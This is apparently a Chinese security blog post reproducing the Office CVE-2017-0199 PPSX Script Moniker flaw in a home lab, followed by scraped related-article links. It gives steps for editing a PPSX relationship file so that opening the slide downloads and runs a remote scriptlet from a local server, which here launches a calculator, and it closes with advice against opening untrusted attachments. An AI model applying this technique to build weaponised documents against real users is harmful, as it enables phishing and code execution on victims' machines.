Office远程代码执行漏洞CVE-2017-0199复现
在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本,使用起来稳定可靠,故而非常适合于漏洞学习新手测试调试使用,作为一个已经测试过该漏洞的新手,现将搭建环境和测试的全部过程呈献给大家,希望能对大家的学习有所帮助。
CVE-2017-0199实际上包含两个漏洞,其中一个称为“RTF URL Moniker”漏洞,另一个被称为“PPSX Script Moniker”漏洞,在这里我们演示一下PPSXScript Moniker漏洞的测试方式。
首先准备一台apache服务器,为了简化配置apache的过程,在这里我们直接安装xampp,XAMPP是一个把Apache网页服务器与PHP、Perl及MariaDB集合在一起的安装包,允许用户可以在自己的电脑上轻易的建立网页服务器,安装起来十分简单,无需配置其它设置。安装完成后,我们打开IE浏览器,输入http://127.0.0.1,如果能够跳转到XAMPP的欢迎界面,就认为服务器已经搭建成功了。
图1:XAMPP欢迎界面
如果你安装XAMPP时选择的是默认路径,那么你可以在C盘的根目录下找到该软件,下一步我们要做的工作时在服务器的目录下添加一个sct脚本,此处作为测试该脚本是否执行,我们让该脚本启动一个计算器程序,sct脚本代码如下:
图2:启动计算器脚本代码
我们将该脚本命名为1.sct,存放在C:\xampp\htdocs\路径下,以便于接下来我们使用的PPSX能够链接并执行改脚本。
第三步,我们修改ppsx样本文件,样本的地址可以从https://github.com/temesgeny/ppsx-file-generator网址处下载到。下载到的文件中包含一个python脚本和生成好的template.ppsx,我们直接改造template.ppsx模板,首先将改文件的后缀名改为.zip,然后将压缩文件解压,解压后的文件内容如下图所示:
图3:模板ppsx文件解压后文件内容
我们在路径ppt\slides\_rels下找到slide1.xml.rels文件,我们将图中用蓝色圈出的路径用我们自己服务的地址来替换,即更改为Target="script:http://127.0.0.1/1.sct"
图4:更改前slide1.xml.rels文件内容
更改完成后,我们将解压的四个文件重新以zip的格式压缩,这里注意不要直接压缩上一层路径的template文件夹,否则压缩后会出现两层文件夹,压缩任务完成后,我们把压缩文件的后缀名重新更正为template.ppsx,然后再次打开该文件,结果如下图所示:
图5:漏洞利用结果图
可以观察到,在打开ppsx文件后,我们嵌入在ppsx中的远程地址链接并下载了1.sct脚本,然后执行了该脚本,成功的开启了一个计算器程序。
关于RTF URL Moniker的漏洞测试在http://www.freebuf.com/articles/system/131969.html 这篇文章中写的非常详细了,实测能够成功复现漏洞,在这里就不再重复赘述了。
最后给大家推荐几个链接,在了解CVE-2017-0199漏洞的过程中,分别参考了这几篇文章:
(1)《Moniker魔法:直接在Microsoft Office中运行脚本》http://bbs.pediy.com/thread-219234.htm 这篇文章对漏洞发现的过程和原理描述的非常清晰,对底层比较感兴趣的同学可以了解学习一下
(2)http://www.freebuf.com/vuls/144054.html 这篇文章提供了一个ppsx的高级利用方式,在ppsx中嵌入了kali生成的回连木马。
最后给广大用户朋友们提几点建议,防止恶意程序给您带来不必要的损失:
1. 及时更新最新补丁,安装杀毒软件,最大限度保证自己不受恶意软件侵害
2. 若收到邮件包含附件,不要直接打开,很可能是利用这个漏洞进行攻击钓鱼邮件,一旦打开将直接中招,先查杀再打开,来历不明的邮件别收
3. 网上下的word文档、PPSX、PPT文件别随意打开,先查杀。
希望小子的文章值得你收藏与转发,关注安全小子,安全路上,你我同行:
Office远程代码执行漏洞CVE-2017-0199复现的更多相关文章
- Office远程代码执行漏洞(CVE-2017-11882)复现
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)
Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...
- 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)
漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...
- Office远程代码执行漏洞(CVE-2017-11882)
POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...
- 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- Office CVE-2017-8570远程代码执行漏洞复现
实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
随机推荐
- less中的变量
[less中的变量]1.声明变量:@变量名:变量值:使用变量:@变量名:[less中变量的类型]1.数字 数字px2.字符串:无引号字符串 red blue 有引号 "haha" ...
- Spring MVC 项目搭建 -3- 快速 添加 spring security
Spring MVC 项目搭建 -3- 快速 添加 spring security 1.添加 spring-sample-security.xml <!-- 简单的安全检验实现 --> & ...
- 学习java 的经验
一.学习java首先应该对他有个全局的看法 ,他由几部分组成 1.java 的基础语法 2.使用Swing 来做桌面应用,可做嵌入式开发. 3.JDBC数据库的链接 4.网络编程,主要是socket编 ...
- 使用hexdump工具追踪EXT4文件系统中的一个文件
昨天追踪EXT4文件系统的过程中出了点问题,就是找不到文件,于是试了一下追踪FAT32文件系统的,成功之后有了点信心,今天继续嗑EXT4文件系统,终于找到啦,记录一下. 操作系统:linux(cent ...
- hdfs文件系统架构详解
hdfs文件系统架构详解 官方hdfs分布式介绍 NameNode *Namenode负责文件系统的namespace以及客户端文件访问 *NameNode负责文件元数据操作,DataNode负责文件 ...
- CSS变量variable
前面的话 一直以来,CSS中是没有变量而言的,要使用 CSS 变量,只能借助 SASS 或者 LESS 这类预编译器.新的草案发布之后,直接在 CSS 中定义和使用变量不再是幻想了.本文将详细介绍CS ...
- nodejs-ORM 操作数据库中间件waterline的使用
waterline和Sails.js同一团队开发,支持几乎所有的主流数据库,是nodejs下一款非常强大的orm,可以显著提升开发效率 一.waterline支持的数据库 二.waterline的配置 ...
- 线程高级.md
例题,哲学家用餐: 在一张餐桌上坐着五个哲学家,但是却只有五根筷子,每个哲学家只有一根筷子,所以当一个哲学家要夹菜的时候需要用他旁边那个哲学家的筷子,被拿走筷子的哲学家则只能等待那个哲学家吃完放下筷子 ...
- springMVC项目国际化(i18n)实现方法
SpringMVC项目国际化(i18n)实现方法 按照作息规律,每周五晚必须是分享知识的时间\(^o^)/~,这周讲点儿啥呢,项目需要逼格,咱们国际化吧(* ̄rǒ ̄)~,项目中碰到这类需求的童鞋可能并 ...
- 原生JSdom节点相关(非原创)
节点属性 Node.nodeName //返回节点名称,只读 Node.nodeType //返回节点类型的常数值,只读 Node.nodeValue //返回Text或Comment节点的文本值,只 ...